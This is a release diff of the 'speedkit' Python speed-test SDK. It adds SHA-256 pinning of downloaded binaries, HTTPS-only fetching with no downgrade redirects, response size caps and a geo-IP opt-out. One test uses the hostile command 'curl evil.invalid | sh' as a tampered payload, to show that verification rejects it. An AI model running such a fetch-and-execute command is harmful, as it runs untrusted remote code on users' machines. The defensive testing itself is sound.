speedkit 0.1.0__tar.gz → 0.2.0__tar.gz

{speedkit-0.1.0/speedkit.egg-info → speedkit-0.2.0}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: speedkit
-Version: 0.1.0
+Version: 0.2.0
 Summary: Python SDK for network speed testing — bandwidth, latency, and connection details in a single call.
 Author: nessshon
 Maintainer: nessshon
@@ -78,6 +78,7 @@ speedkit                  # auto: Ookla, then LibreSpeed
 speedkit -p librespeed    # pin one provider
 speedkit -t 180           # time budget per provider in seconds
 speedkit -a 1             # disable retries
+speedkit --no-geoip       # no third-party geo-IP request
 ```
 
 `Speedkit()` needs no configuration; everything it accepts:
@@ -87,6 +88,7 @@ kit = Speedkit(
     provider="auto",   # "auto" | "ookla" | "librespeed" — a pinned provider never falls back
     timeout=120,       # time budget per provider in seconds, covering all attempts
     attempts=2,        # measurement attempts within the budget; 1 disables retries
+    lookup_geoip=True, # resolve client info from a geo-IP service; False makes no such request
     cache_dir=None,    # where CLI binaries are cached; None = user cache directory
 )
 ```
@@ -128,7 +130,7 @@ kit = Speedkit(
 
 ## Geo-IP lookup
 
-Client details come from the first service that answers: `ipinfo.io` → `ipwho.is` → `ip-api.com`.
+Client details come from the first service that answers: `ipinfo.io` → `ipwho.is`.
 
 - The lookup takes a fraction of a second.
 - If every service is unreachable, the measurement is still returned —
@@ -136,6 +138,11 @@ Client details come from the first service that answers: `ipinfo.io` → `ipwho.
 
 > This sends your IP address to the geo-IP service that answers.
 
+Pass `lookup_geoip=False` (or `--no-geoip`) to skip it entirely. Nothing is then sent to a third
+party, and `client` keeps what the measuring CLI itself reported — `ip` and `isp` from
+Ookla, plus `country` from LibreSpeed. Fields neither reports, `city` above all, stay at
+`""`, so `client` is no longer identical across providers.
+
 ## Binaries
 
 | Provider            | Version | Platforms                    |
@@ -148,8 +155,14 @@ Binaries are downloaded on first use and cached per platform:
 - Linux — `~/.cache/speedkit`
 - macOS — `~/Library/Caches/speedkit`
 
+Every archive is checked against a SHA-256 digest pinned in `speedkit/binaries.py` before
+anything is extracted or made executable. A release asset that changed after it was pinned
+raises `BinaryDownloadError` instead of running. All network access is HTTPS with certificate
+verification; plain HTTP, and any redirect leaving TLS, is refused.
+
 Set `SPEEDKIT_OOKLA_BINARY` / `SPEEDKIT_LIBRESPEED_BINARY` to a path of a preinstalled
 binary to skip downloading entirely — useful for offline machines and locked-down networks.
+The path is executed as given and bypasses the checksum, so it is on you to trust it.
 
 To pre-download the binaries at image build time (Docker, CI):
 

{speedkit-0.1.0 → speedkit-0.2.0}/README.md

@@ -45,6 +45,7 @@ speedkit                  # auto: Ookla, then LibreSpeed
 speedkit -p librespeed    # pin one provider
 speedkit -t 180           # time budget per provider in seconds
 speedkit -a 1             # disable retries
+speedkit --no-geoip       # no third-party geo-IP request
 ```
 
 `Speedkit()` needs no configuration; everything it accepts:
@@ -54,6 +55,7 @@ kit = Speedkit(
     provider="auto",   # "auto" | "ookla" | "librespeed" — a pinned provider never falls back
     timeout=120,       # time budget per provider in seconds, covering all attempts
     attempts=2,        # measurement attempts within the budget; 1 disables retries
+    lookup_geoip=True, # resolve client info from a geo-IP service; False makes no such request
     cache_dir=None,    # where CLI binaries are cached; None = user cache directory
 )
 ```
@@ -95,7 +97,7 @@ kit = Speedkit(
 
 ## Geo-IP lookup
 
-Client details come from the first service that answers: `ipinfo.io` → `ipwho.is` → `ip-api.com`.
+Client details come from the first service that answers: `ipinfo.io` → `ipwho.is`.
 
 - The lookup takes a fraction of a second.
 - If every service is unreachable, the measurement is still returned —
@@ -103,6 +105,11 @@ Client details come from the first service that answers: `ipinfo.io` → `ipwho.
 
 > This sends your IP address to the geo-IP service that answers.
 
+Pass `lookup_geoip=False` (or `--no-geoip`) to skip it entirely. Nothing is then sent to a third
+party, and `client` keeps what the measuring CLI itself reported — `ip` and `isp` from
+Ookla, plus `country` from LibreSpeed. Fields neither reports, `city` above all, stay at
+`""`, so `client` is no longer identical across providers.
+
 ## Binaries
 
 | Provider            | Version | Platforms                    |
@@ -115,8 +122,14 @@ Binaries are downloaded on first use and cached per platform:
 - Linux — `~/.cache/speedkit`
 - macOS — `~/Library/Caches/speedkit`
 
+Every archive is checked against a SHA-256 digest pinned in `speedkit/binaries.py` before
+anything is extracted or made executable. A release asset that changed after it was pinned
+raises `BinaryDownloadError` instead of running. All network access is HTTPS with certificate
+verification; plain HTTP, and any redirect leaving TLS, is refused.
+
 Set `SPEEDKIT_OOKLA_BINARY` / `SPEEDKIT_LIBRESPEED_BINARY` to a path of a preinstalled
 binary to skip downloading entirely — useful for offline machines and locked-down networks.
+The path is executed as given and bypasses the checksum, so it is on you to trust it.
 
 To pre-download the binaries at image build time (Docker, CI):
 

{speedkit-0.1.0 → speedkit-0.2.0}/speedkit/__meta__.py

@@ -3,6 +3,6 @@
 # This source code is licensed under the MIT License found in the
 # LICENSE file in the root directory of this source tree.
 
-__version__ = "0.1.0"
+__version__ = "0.2.0"
 __author__ = "nessshon"
 __url__ = "https://github.com/nessshon/speedkit"

{speedkit-0.1.0 → speedkit-0.2.0}/speedkit/binaries.py

@@ -1,5 +1,6 @@
 from __future__ import annotations
 
+import hashlib
 import io
 import os
 import platform
@@ -32,17 +33,17 @@ _LIBRESPEED_URL: t.Final[str] = (
     "https://github.com/librespeed/speedtest-cli/releases/download/v{version}/librespeed-cli_{version}_{platform}.{ext}"
 )
 
-_OOKLA_PLATFORMS: t.Final[dict[tuple[str, str], str]] = {
-    ("Linux", "x86_64"): "linux-x86_64",
-    ("Linux", "aarch64"): "linux-aarch64",
-    ("Darwin", "x86_64"): "macosx-universal",
-    ("Darwin", "arm64"): "macosx-universal",
+_OOKLA_PLATFORMS: t.Final[dict[tuple[str, str], tuple[str, str]]] = {
+    ("Linux", "x86_64"): ("linux-x86_64", "5690596c54ff9bed63fa3732f818a05dbc2db19ad36ed68f21ca5f64d5cfeeb7"),
+    ("Linux", "aarch64"): ("linux-aarch64", "3953d231da3783e2bf8904b6dd72767c5c6e533e163d3742fd0437affa431bd3"),
+    ("Darwin", "x86_64"): ("macosx-universal", "c9f8192149ebc88f8699998cecab1ce144144045907ece6f53cf50877f4de66f"),
+    ("Darwin", "arm64"): ("macosx-universal", "c9f8192149ebc88f8699998cecab1ce144144045907ece6f53cf50877f4de66f"),
 }
-_LIBRESPEED_PLATFORMS: t.Final[dict[tuple[str, str], str]] = {
-    ("Linux", "x86_64"): "linux_amd64",
-    ("Linux", "aarch64"): "linux_arm64",
-    ("Darwin", "x86_64"): "darwin_amd64",
-    ("Darwin", "arm64"): "darwin_arm64",
+_LIBRESPEED_PLATFORMS: t.Final[dict[tuple[str, str], tuple[str, str]]] = {
+    ("Linux", "x86_64"): ("linux_amd64", "33f2278a6ae16e83dc80f38a16aa8689b0b315530ce30ccb6de7968a2bf7527a"),
+    ("Linux", "aarch64"): ("linux_arm64", "3f59e01ea03626168a0ff3d6f3371a38c054267ee500a5f9a644d3fe28ceed69"),
+    ("Darwin", "x86_64"): ("darwin_amd64", "35195cf197b17d3e2a0b06aff65b6e48aaffd4c1a10ca3b1d01d8ee3a14d0dea"),
+    ("Darwin", "arm64"): ("darwin_arm64", "aaae750be9b51045417f42147f86228e871af3924b6c6ae95323d7ebc82a0b88"),
 }
 
 
@@ -59,9 +60,9 @@ def ookla_binary(cache_dir: Path | None = None) -> Path:
     override = os.environ.get("SPEEDKIT_OOKLA_BINARY")
     if override:
         return Path(override)
-    key = _platform_key(_OOKLA_PLATFORMS, brand="Ookla Speedtest CLI")
+    key, digest = _asset(_OOKLA_PLATFORMS, brand="Ookla Speedtest CLI")
     url = _OOKLA_URL.format(version=OOKLA_VERSION, platform=key, ext="tgz")
-    return _ensure(url, member="speedtest", subdir=f"ookla-{OOKLA_VERSION}", cache_dir=cache_dir)
+    return _ensure(url, digest=digest, member="speedtest", subdir=f"ookla-{OOKLA_VERSION}", cache_dir=cache_dir)
 
 
 def librespeed_binary(cache_dir: Path | None = None) -> Path:
@@ -77,30 +78,39 @@ def librespeed_binary(cache_dir: Path | None = None) -> Path:
     override = os.environ.get("SPEEDKIT_LIBRESPEED_BINARY")
     if override:
         return Path(override)
-    key = _platform_key(_LIBRESPEED_PLATFORMS, brand="librespeed-cli")
+    key, digest = _asset(_LIBRESPEED_PLATFORMS, brand="librespeed-cli")
     url = _LIBRESPEED_URL.format(version=LIBRESPEED_VERSION, platform=key, ext="tar.gz")
-    return _ensure(url, member="librespeed-cli", subdir=f"librespeed-{LIBRESPEED_VERSION}", cache_dir=cache_dir)
+    return _ensure(
+        url,
+        digest=digest,
+        member="librespeed-cli",
+        subdir=f"librespeed-{LIBRESPEED_VERSION}",
+        cache_dir=cache_dir,
+    )
 
 
-def _platform_key(platforms: dict[tuple[str, str], str], *, brand: str) -> str:
-    """Map the current OS and architecture to a release asset key."""
+def _asset(platforms: dict[tuple[str, str], tuple[str, str]], *, brand: str) -> tuple[str, str]:
+    """Map the current OS and architecture to a release asset key and its pinned digest."""
     system, machine = platform.system(), platform.machine()
-    key = platforms.get((system, machine))
-    if key is None:
+    asset = platforms.get((system, machine))
+    if asset is None:
         raise UnsupportedPlatformError(
             f"no prebuilt {brand} binary for {system}/{machine}",
             hint="install it manually and set the SPEEDKIT_OOKLA_BINARY / SPEEDKIT_LIBRESPEED_BINARY variable",
         )
-    return key
+    return asset
 
 
-def _ensure(url: str, *, member: str, subdir: str, cache_dir: Path | None) -> Path:
+def _ensure(url: str, *, digest: str, member: str, subdir: str, cache_dir: Path | None) -> Path:
     """Return the cached binary path, downloading and extracting it if missing."""
-    target = (cache_dir or _user_cache_dir()) / subdir / member
+    # Path carries the pin, so a binary verified against a different digest is never reused.
+    target = (cache_dir or _user_cache_dir()) / f"{subdir}-{digest[:12]}" / member
     if target.exists():
         return target
     target.parent.mkdir(parents=True, exist_ok=True)
-    data = _extract(_download(url), url=url, member=member)
+    archive = _download(url)
+    _verify(archive, url=url, expected=digest)
+    data = _extract(archive, url=url, member=member)
     # PID-unique temp name: concurrent downloads must not write into one file.
     temporary = target.with_name(f"{member}.{os.getpid()}.tmp")
     temporary.write_bytes(data)
@@ -121,8 +131,23 @@ def _download(url: str) -> bytes:
         ) from exc
 
 
+def _verify(data: bytes, *, url: str, expected: str) -> None:
+    """Check a downloaded archive against the digest pinned for this platform."""
+    digest = hashlib.sha256(data).hexdigest()
+    if digest != expected:
+        raise BinaryDownloadError(
+            f"refusing {url}: expected sha256 {expected}, got {digest}",
+            hint="the release archive no longer matches the digest speedkit pinned; upgrade speedkit "
+            "or point SPEEDKIT_OOKLA_BINARY / SPEEDKIT_LIBRESPEED_BINARY at a binary you trust",
+        )
+
+
 def _extract(data: bytes, *, url: str, member: str) -> bytes:
-    """Extract a single member from a ``.tgz``/``.tar.gz`` archive."""
+    """Extract a single member from a ``.tgz``/``.tar.gz`` archive.
+
+    Reads the member whole without a size cap, which is safe only because the archive
+    is checksum-verified first: a decompression bomb cannot match a pinned digest.
+    """
     try:
         with tarfile.open(fileobj=io.BytesIO(data), mode="r:gz") as bundle:
             extracted = bundle.extractfile(member)

{speedkit-0.1.0 → speedkit-0.2.0}/speedkit/cli.py

@@ -38,9 +38,19 @@ def main() -> None:
         default=DEFAULT_ATTEMPTS,
         help="maximum measurement attempts per provider (default: %(default)s)",
     )
+    parser.add_argument(
+        "--no-geoip",
+        action="store_true",
+        help="skip the geo-IP lookup; client info then comes from the measuring CLI",
+    )
     args = parser.parse_args()
     try:
-        kit = Speedkit(args.provider, timeout=args.timeout, attempts=args.attempts)
+        kit = Speedkit(
+            args.provider,
+            timeout=args.timeout,
+            attempts=args.attempts,
+            lookup_geoip=not args.no_geoip,
+        )
     except ValueError as exc:
         parser.error(str(exc))
     try:

{speedkit-0.1.0 → speedkit-0.2.0}/speedkit/client.py

@@ -33,6 +33,7 @@ class Speedkit:
         *,
         timeout: float = DEFAULT_TIMEOUT,
         attempts: int = DEFAULT_ATTEMPTS,
+        lookup_geoip: bool = True,
         cache_dir: Path | None = None,
     ) -> None:
         """Initialize the client.
@@ -43,6 +44,10 @@ class Speedkit:
             all measurement attempts.
         :param attempts: Maximum measurement attempts per provider within the budget;
             ``1`` disables retries.
+        :param lookup_geoip: Resolve client info from a geo-IP service so it reads the
+            same whichever provider measured. ``False`` makes no third-party request and
+            keeps whatever the measuring CLI reported, which varies by provider and
+            leaves the fields it omits at their neutral defaults.
         :param cache_dir: Directory for cached CLI binaries; defaults to the user cache directory.
         :raises ValueError: If ``provider`` is unknown or ``attempts`` is less than 1.
         """
@@ -53,18 +58,20 @@ class Speedkit:
         self.provider = provider
         self.timeout = timeout
         self.attempts = attempts
+        self.lookup_geoip = lookup_geoip
         self.cache_dir = cache_dir
 
     def run(self) -> SpeedtestResult:
         """Run the speed test.
 
         :return: Measurement result, with client info from a geo-IP service when
-            one is reachable and from the measuring CLI otherwise.
+            ``lookup_geoip`` is enabled and one is reachable, and from the measuring
+            CLI otherwise.
         :raises SpeedkitError: If the measurement fails — in ``"auto"`` mode,
             after both providers have failed.
         """
         result = self._measure()
-        client = lookup()
+        client = lookup() if self.lookup_geoip else None
         return replace(result, client=client) if client else result
 
     def _measure(self) -> SpeedtestResult:

{speedkit-0.1.0 → speedkit-0.2.0}/speedkit/geoip.py

@@ -12,6 +12,9 @@ __all__ = ["lookup"]
 GEOIP_TIMEOUT: t.Final[float] = 5.0
 """Timeout in seconds for a single geo-IP service request."""
 
+GEOIP_MAX_BYTES: t.Final[int] = 64 * 1024
+"""Cap on a geo-IP response body; a real answer is well under a kilobyte."""
+
 # ipinfo.io reports the ISP as "AS64496 Example ISP"; the other services omit the prefix.
 _AS_PREFIX = re.compile(r"^AS\d+\s+")
 
@@ -27,9 +30,9 @@ def lookup(timeout: float = GEOIP_TIMEOUT) -> Client | None:
     """
     for url, parse in _SERVICES:
         try:
-            data = json.loads(fetch(url, timeout=timeout))
+            data = json.loads(fetch(url, timeout=timeout, limit=GEOIP_MAX_BYTES))
             client = parse(data) if isinstance(data, dict) else None
-        except (AttributeError, OSError, TypeError, ValueError):
+        except (AttributeError, OSError, RecursionError, TypeError, ValueError):
             continue
         # Services echo the IP back even in error payloads, so require the ISP too.
         if client and client.ip and client.isp:
@@ -57,19 +60,7 @@ def _from_ipwho(data: dict[str, t.Any]) -> Client:
     )
 
 
-def _from_ipapi(data: dict[str, t.Any]) -> Client:
-    """Map an ip-api.com response."""
-    return Client(
-        ip=data.get("query", ""),
-        isp=data.get("isp", ""),
-        country=data.get("countryCode", ""),
-        city=data.get("city", ""),
-    )
-
-
-# Ordered by preference: HTTPS without a key first, plain-HTTP ip-api.com last.
 _SERVICES: t.Final[tuple[tuple[str, t.Callable[[dict[str, t.Any]], Client]], ...]] = (
     ("https://ipinfo.io/json", _from_ipinfo),
     ("https://ipwho.is", _from_ipwho),
-    ("http://ip-api.com/json", _from_ipapi),
 )

speedkit-0.2.0/speedkit/utils.py

@@ -0,0 +1,80 @@
+from __future__ import annotations
+
+import functools
+import http.client
+import ssl
+import typing as t
+import urllib.error
+import urllib.parse
+import urllib.request
+
+__all__ = ["fetch"]
+
+MAX_RESPONSE_BYTES: t.Final[int] = 32 * 1024 * 1024
+"""Default cap on a response body; the largest CLI release archive is under 4 MiB."""
+
+
+def fetch(url: str, timeout: float, limit: int = MAX_RESPONSE_BYTES) -> bytes:
+    """Fetch a URL over verified TLS and return the raw response body.
+
+    Plain HTTP is refused outright, as is a redirect that would leave TLS, and the
+    body is capped so an endpoint cannot exhaust memory by streaming without end.
+
+    :param url: URL to fetch; must be ``https``.
+    :param timeout: Timeout in seconds.
+    :param limit: Maximum number of body bytes to accept.
+    :return: Raw response body.
+    :raises OSError: If the URL is not ``https``, the request fails, or the body exceeds ``limit``.
+    """
+    if urllib.parse.urlsplit(url).scheme != "https":
+        raise OSError(f"refusing to fetch {url}: only https is allowed")
+    try:
+        with _opener().open(url, timeout=timeout) as response:
+            # One byte past the cap distinguishes "at the limit" from "over it".
+            data: bytes = response.read(limit + 1)
+    except http.client.HTTPException as exc:
+        # Truncated bodies and bad status lines are not OSError; normalize for callers.
+        raise OSError(str(exc)) from exc
+    if len(data) > limit:
+        raise OSError(f"response from {url} exceeds {limit} bytes")
+    return data
+
+
+class _NoDowngradeRedirects(urllib.request.HTTPRedirectHandler):
+    """Redirect handler that refuses to drop from ``https`` to plain ``http``.
+
+    urllib follows a redirect into any of ``http``, ``https`` and ``ftp``, so without
+    this an origin could hand back a cleartext URL and the body would be read from it.
+    """
+
+    def redirect_request(
+        self,
+        req: urllib.request.Request,
+        fp: t.IO[bytes],
+        code: int,
+        msg: str,
+        headers: http.client.HTTPMessage,
+        newurl: str,
+    ) -> urllib.request.Request | None:
+        """Reject a redirect that leaves TLS, otherwise defer to the default policy."""
+        if urllib.parse.urlsplit(newurl).scheme != "https":
+            raise urllib.error.URLError(f"refusing redirect from {req.full_url} to insecure {newurl}")
+        return super().redirect_request(req, fp, code, msg, headers, newurl)
+
+
+@functools.lru_cache(maxsize=1)
+def _opener() -> urllib.request.OpenerDirector:
+    """Return the shared opener; built once so the CA bundle is loaded once."""
+    return urllib.request.build_opener(
+        urllib.request.HTTPSHandler(context=_ssl_context()),
+        _NoDowngradeRedirects(),
+    )
+
+
+def _ssl_context() -> ssl.SSLContext:
+    """Return an SSL context, preferring certifi's CA bundle when installed."""
+    try:
+        import certifi
+    except ImportError:
+        return ssl.create_default_context()
+    return ssl.create_default_context(cafile=certifi.where())

{speedkit-0.1.0 → speedkit-0.2.0/speedkit.egg-info}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: speedkit
-Version: 0.1.0
+Version: 0.2.0
 Summary: Python SDK for network speed testing — bandwidth, latency, and connection details in a single call.
 Author: nessshon
 Maintainer: nessshon
@@ -78,6 +78,7 @@ speedkit                  # auto: Ookla, then LibreSpeed
 speedkit -p librespeed    # pin one provider
 speedkit -t 180           # time budget per provider in seconds
 speedkit -a 1             # disable retries
+speedkit --no-geoip       # no third-party geo-IP request
 ```
 
 `Speedkit()` needs no configuration; everything it accepts:
@@ -87,6 +88,7 @@ kit = Speedkit(
     provider="auto",   # "auto" | "ookla" | "librespeed" — a pinned provider never falls back
     timeout=120,       # time budget per provider in seconds, covering all attempts
     attempts=2,        # measurement attempts within the budget; 1 disables retries
+    lookup_geoip=True, # resolve client info from a geo-IP service; False makes no such request
     cache_dir=None,    # where CLI binaries are cached; None = user cache directory
 )
 ```
@@ -128,7 +130,7 @@ kit = Speedkit(
 
 ## Geo-IP lookup
 
-Client details come from the first service that answers: `ipinfo.io` → `ipwho.is` → `ip-api.com`.
+Client details come from the first service that answers: `ipinfo.io` → `ipwho.is`.
 
 - The lookup takes a fraction of a second.
 - If every service is unreachable, the measurement is still returned —
@@ -136,6 +138,11 @@ Client details come from the first service that answers: `ipinfo.io` → `ipwho.
 
 > This sends your IP address to the geo-IP service that answers.
 
+Pass `lookup_geoip=False` (or `--no-geoip`) to skip it entirely. Nothing is then sent to a third
+party, and `client` keeps what the measuring CLI itself reported — `ip` and `isp` from
+Ookla, plus `country` from LibreSpeed. Fields neither reports, `city` above all, stay at
+`""`, so `client` is no longer identical across providers.
+
 ## Binaries
 
 | Provider            | Version | Platforms                    |
@@ -148,8 +155,14 @@ Binaries are downloaded on first use and cached per platform:
 - Linux — `~/.cache/speedkit`
 - macOS — `~/Library/Caches/speedkit`
 
+Every archive is checked against a SHA-256 digest pinned in `speedkit/binaries.py` before
+anything is extracted or made executable. A release asset that changed after it was pinned
+raises `BinaryDownloadError` instead of running. All network access is HTTPS with certificate
+verification; plain HTTP, and any redirect leaving TLS, is refused.
+
 Set `SPEEDKIT_OOKLA_BINARY` / `SPEEDKIT_LIBRESPEED_BINARY` to a path of a preinstalled
 binary to skip downloading entirely — useful for offline machines and locked-down networks.
+The path is executed as given and bypasses the checksum, so it is on you to trust it.
 
 To pre-download the binaries at image build time (Docker, CI):
 

speedkit-0.2.0/tests/test_binaries.py

@@ -0,0 +1,87 @@
+import hashlib
+import io
+import os
+import tarfile
+import tempfile
+import unittest
+from pathlib import Path
+from unittest import mock
+
+from speedkit import binaries
+from speedkit.exceptions import BinaryDownloadError, UnsupportedPlatformError
+
+BINARY = b"#!/bin/sh\necho measured\n"
+
+
+def archive(member="speedtest", payload=BINARY):
+    """Return a ``.tar.gz`` holding a single member."""
+    buffer = io.BytesIO()
+    with tarfile.open(fileobj=buffer, mode="w:gz") as bundle:
+        info = tarfile.TarInfo(member)
+        info.size = len(payload)
+        bundle.addfile(info, io.BytesIO(payload))
+    return buffer.getvalue()
+
+
+class TestBinaryResolution(unittest.TestCase):
+    def test_env_override(self):
+        with mock.patch.dict(os.environ, {"SPEEDKIT_OOKLA_BINARY": "/opt/bin/speedtest"}):
+            self.assertEqual(binaries.ookla_binary(), Path("/opt/bin/speedtest"))
+        with mock.patch.dict(os.environ, {"SPEEDKIT_LIBRESPEED_BINARY": "/opt/bin/librespeed-cli"}):
+            self.assertEqual(binaries.librespeed_binary(), Path("/opt/bin/librespeed-cli"))
+
+    def test_unsupported_platform_raises(self):
+        with mock.patch.dict(os.environ, {}, clear=True):
+            with mock.patch("platform.system", return_value="Linux"):
+                with mock.patch("platform.machine", return_value="riscv64"):
+                    with self.assertRaises(UnsupportedPlatformError):
+                        binaries.ookla_binary()
+
+
+class TestChecksumVerification(unittest.TestCase):
+    def test_matching_archive_is_installed_and_executable(self):
+        data = archive()
+        with tempfile.TemporaryDirectory() as tmp:
+            path = self._install(Path(tmp), data, hashlib.sha256(data).hexdigest())
+            self.assertEqual(path.read_bytes(), BINARY)
+            self.assertTrue(path.stat().st_mode & 0o111)
+
+    def test_tampered_archive_never_reaches_disk(self):
+        # The whole point of pinning: bytes that do not match are not extracted,
+        # not written and never made executable.
+        with tempfile.TemporaryDirectory() as tmp:
+            with self.assertRaises(BinaryDownloadError):
+                self._install(Path(tmp), archive(payload=b"curl evil.invalid | sh"), "00" * 32)
+            self.assertEqual(list(Path(tmp).rglob("speedtest*")), [])
+
+    def test_cached_binary_is_reused(self):
+        # Garbage on the second call would fail verification if it were downloaded
+        # again, so getting the same path back proves the cache was used.
+        data = archive()
+        digest = hashlib.sha256(data).hexdigest()
+        with tempfile.TemporaryDirectory() as tmp:
+            first = self._install(Path(tmp), data, digest)
+            self.assertEqual(self._install(Path(tmp), b"never fetched", digest), first)
+
+    def test_cache_written_before_pinning_is_not_reused(self):
+        # 0.1.x cached under a digest-less path, so that binary was never verified
+        # against anything; upgrading must re-download rather than trust it.
+        data = archive()
+        with tempfile.TemporaryDirectory() as tmp:
+            stale = Path(tmp) / f"ookla-{binaries.OOKLA_VERSION}" / "speedtest"
+            stale.parent.mkdir(parents=True)
+            stale.write_bytes(b"unverified leftover")
+            path = self._install(Path(tmp), data, hashlib.sha256(data).hexdigest())
+            self.assertNotEqual(path, stale)
+            self.assertEqual(path.read_bytes(), BINARY)
+
+    @staticmethod
+    def _install(cache, data, digest):
+        """Resolve the macOS Ookla binary from ``data``, pinned to ``digest``."""
+        pinned = {("Darwin", "arm64"): ("macosx-universal", digest)}
+        with mock.patch.dict(os.environ, {}, clear=True):
+            with mock.patch("platform.system", return_value="Darwin"):
+                with mock.patch("platform.machine", return_value="arm64"):
+                    with mock.patch.dict(binaries._OOKLA_PLATFORMS, pinned):
+                        with mock.patch("speedkit.binaries.fetch", return_value=data):
+                            return binaries.ookla_binary(cache)

{speedkit-0.1.0 → speedkit-0.2.0}/tests/test_client.py

@@ -80,3 +80,10 @@ class TestGeoipEnrichment(unittest.TestCase):
             with mock.patch("speedkit.client.lookup", return_value=None):
                 result = Speedkit().run()
         self.assertEqual(result.client, RESULT.client)
+
+    def test_disabled_geoip_makes_no_request_and_keeps_measured_client(self):
+        with mock.patch.object(OoklaProvider, "run", return_value=RESULT):
+            with mock.patch("speedkit.client.lookup") as lookup:
+                result = Speedkit(lookup_geoip=False).run()
+        lookup.assert_not_called()
+        self.assertEqual(result.client, RESULT.client)

{speedkit-0.1.0 → speedkit-0.2.0}/tests/test_geoip.py

@@ -24,17 +24,6 @@ IPWHO = json.dumps(
     }
 ).encode()
 
-IPAPI = json.dumps(
-    {
-        "status": "success",
-        "country": "Netherlands",
-        "countryCode": "NL",
-        "city": "Amsterdam",
-        "isp": "Last Resort ISP",
-        "query": "192.0.2.3",
-    }
-).encode()
-
 
 class TestLookup(unittest.TestCase):
     def test_first_service_wins(self):
@@ -55,7 +44,8 @@ class TestLookup(unittest.TestCase):
 
     def test_malformed_payloads_degrade_to_next_service(self):
         # A service may answer with a rate-limit notice, an error payload that still
-        # echoes the IP, a null field, or something that is not an object at all.
+        # echoes the IP, a null field, something that is not an object at all, or
+        # nesting deep enough to blow the parser's recursion limit.
         expected = Client(ip="198.51.100.2", isp="Backup ISP", country="FR", city="Paris")
         payloads = [
             b'{"error": true, "reason": "RateLimited"}',
@@ -67,14 +57,8 @@ class TestLookup(unittest.TestCase):
             b'"nope"',
             b"42",
             b"<html>502</html>",
+            b"[" * 2000 + b"]" * 2000,
         ]
         for payload in payloads:
             with self.subTest(payload=payload), mock.patch("speedkit.geoip.fetch", side_effect=[payload, IPWHO]):
                 self.assertEqual(geoip.lookup(), expected)
-
-    def test_last_service_answers(self):
-        broken = b'{"error": true}'
-        with mock.patch("speedkit.geoip.fetch", side_effect=[broken, broken, IPAPI]) as fetch:
-            client = geoip.lookup()
-        self.assertEqual(fetch.call_count, 3)
-        self.assertEqual(client, Client(ip="192.0.2.3", isp="Last Resort ISP", country="NL", city="Amsterdam"))

speedkit-0.2.0/tests/test_utils.py

@@ -0,0 +1,66 @@
+import http.client
+import io
+import unittest
+import urllib.error
+import urllib.request
+from unittest import mock
+
+from speedkit import utils
+from speedkit.utils import fetch
+
+
+class TestFetch(unittest.TestCase):
+    def test_http_protocol_errors_normalize_to_oserror(self):
+        # IncompleteRead/BadStatusLine are HTTPException, not OSError; callers rely
+        # on OSError to degrade gracefully instead of losing a finished measurement.
+        for error in (http.client.BadStatusLine("boom"), http.client.IncompleteRead(b"", 10)):
+            with self.subTest(error=error):
+                with mock.patch.object(utils, "_opener") as opener:
+                    opener.return_value.open.side_effect = error
+                    with self.assertRaises(OSError):
+                        fetch("https://example.invalid/", timeout=1.0)
+
+    def test_plain_http_url_refused(self):
+        with mock.patch.object(utils, "_opener") as opener:
+            with self.assertRaises(OSError):
+                fetch("http://example.invalid/", timeout=1.0)
+        opener.assert_not_called()
+
+    def test_oversized_body_refused(self):
+        with mock.patch.object(utils, "_opener") as opener:
+            opener.return_value.open.return_value = _response(b"x" * 11)
+            with self.assertRaises(OSError):
+                fetch("https://example.invalid/", timeout=1.0, limit=10)
+
+    def test_body_at_the_limit_is_returned(self):
+        with mock.patch.object(utils, "_opener") as opener:
+            opener.return_value.open.return_value = _response(b"x" * 10)
+            self.assertEqual(fetch("https://example.invalid/", timeout=1.0, limit=10), b"x" * 10)
+
+
+class TestNoDowngradeRedirects(unittest.TestCase):
+    def test_redirect_to_plain_http_refused(self):
+        with self.assertRaises(urllib.error.URLError):
+            self._redirect_to("http://example.invalid/b")
+
+    def test_redirect_staying_on_https_is_allowed(self):
+        self.assertEqual(self._redirect_to("https://example.invalid/b").full_url, "https://example.invalid/b")
+
+    @staticmethod
+    def _redirect_to(newurl):
+        return utils._NoDowngradeRedirects().redirect_request(
+            urllib.request.Request("https://example.invalid/a"),
+            io.BytesIO(b""),
+            302,
+            "Found",
+            http.client.HTTPMessage(),
+            newurl,
+        )
+
+
+def _response(body):
+    """Return a context manager standing in for an HTTPResponse holding ``body``."""
+    response = mock.MagicMock()
+    response.read.side_effect = lambda size: body[:size]
+    response.__enter__.return_value = response
+    return response

speedkit-0.1.0/speedkit/utils.py

@@ -1,33 +0,0 @@
-from __future__ import annotations
-
-import http.client
-import ssl
-import urllib.request
-
-__all__ = ["fetch"]
-
-
-def fetch(url: str, timeout: float) -> bytes:
-    """Fetch a URL and return the raw response body.
-
-    :param url: URL to fetch.
-    :param timeout: Timeout in seconds.
-    :return: Raw response body.
-    :raises OSError: If the request fails, including broken HTTP framing.
-    """
-    try:
-        with urllib.request.urlopen(url, timeout=timeout, context=_ssl_context()) as response:
-            data: bytes = response.read()
-        return data
-    except http.client.HTTPException as exc:
-        # Truncated bodies and bad status lines are not OSError; normalize for callers.
-        raise OSError(str(exc)) from exc
-
-
-def _ssl_context() -> ssl.SSLContext:
-    """Return an SSL context, preferring certifi's CA bundle when installed."""
-    try:
-        import certifi
-    except ImportError:
-        return ssl.create_default_context()
-    return ssl.create_default_context(cafile=certifi.where())

speedkit-0.1.0/tests/test_binaries.py

@@ -1,34 +0,0 @@
-import os
-import tempfile
-import unittest
-from pathlib import Path
-from unittest import mock
-
-from speedkit import binaries
-from speedkit.exceptions import UnsupportedPlatformError
-
-
-class TestBinaryResolution(unittest.TestCase):
-    def test_env_override(self):
-        with mock.patch.dict(os.environ, {"SPEEDKIT_OOKLA_BINARY": "/opt/bin/speedtest"}):
-            self.assertEqual(binaries.ookla_binary(), Path("/opt/bin/speedtest"))
-        with mock.patch.dict(os.environ, {"SPEEDKIT_LIBRESPEED_BINARY": "/opt/bin/librespeed-cli"}):
-            self.assertEqual(binaries.librespeed_binary(), Path("/opt/bin/librespeed-cli"))
-
-    def test_cached_binary_is_reused(self):
-        with tempfile.TemporaryDirectory() as tmp:
-            cache = Path(tmp)
-            target = cache / f"ookla-{binaries.OOKLA_VERSION}" / "speedtest"
-            target.parent.mkdir(parents=True)
-            target.write_bytes(b"")
-            with mock.patch.dict(os.environ, {}, clear=True):
-                with mock.patch("platform.system", return_value="Darwin"):
-                    with mock.patch("platform.machine", return_value="arm64"):
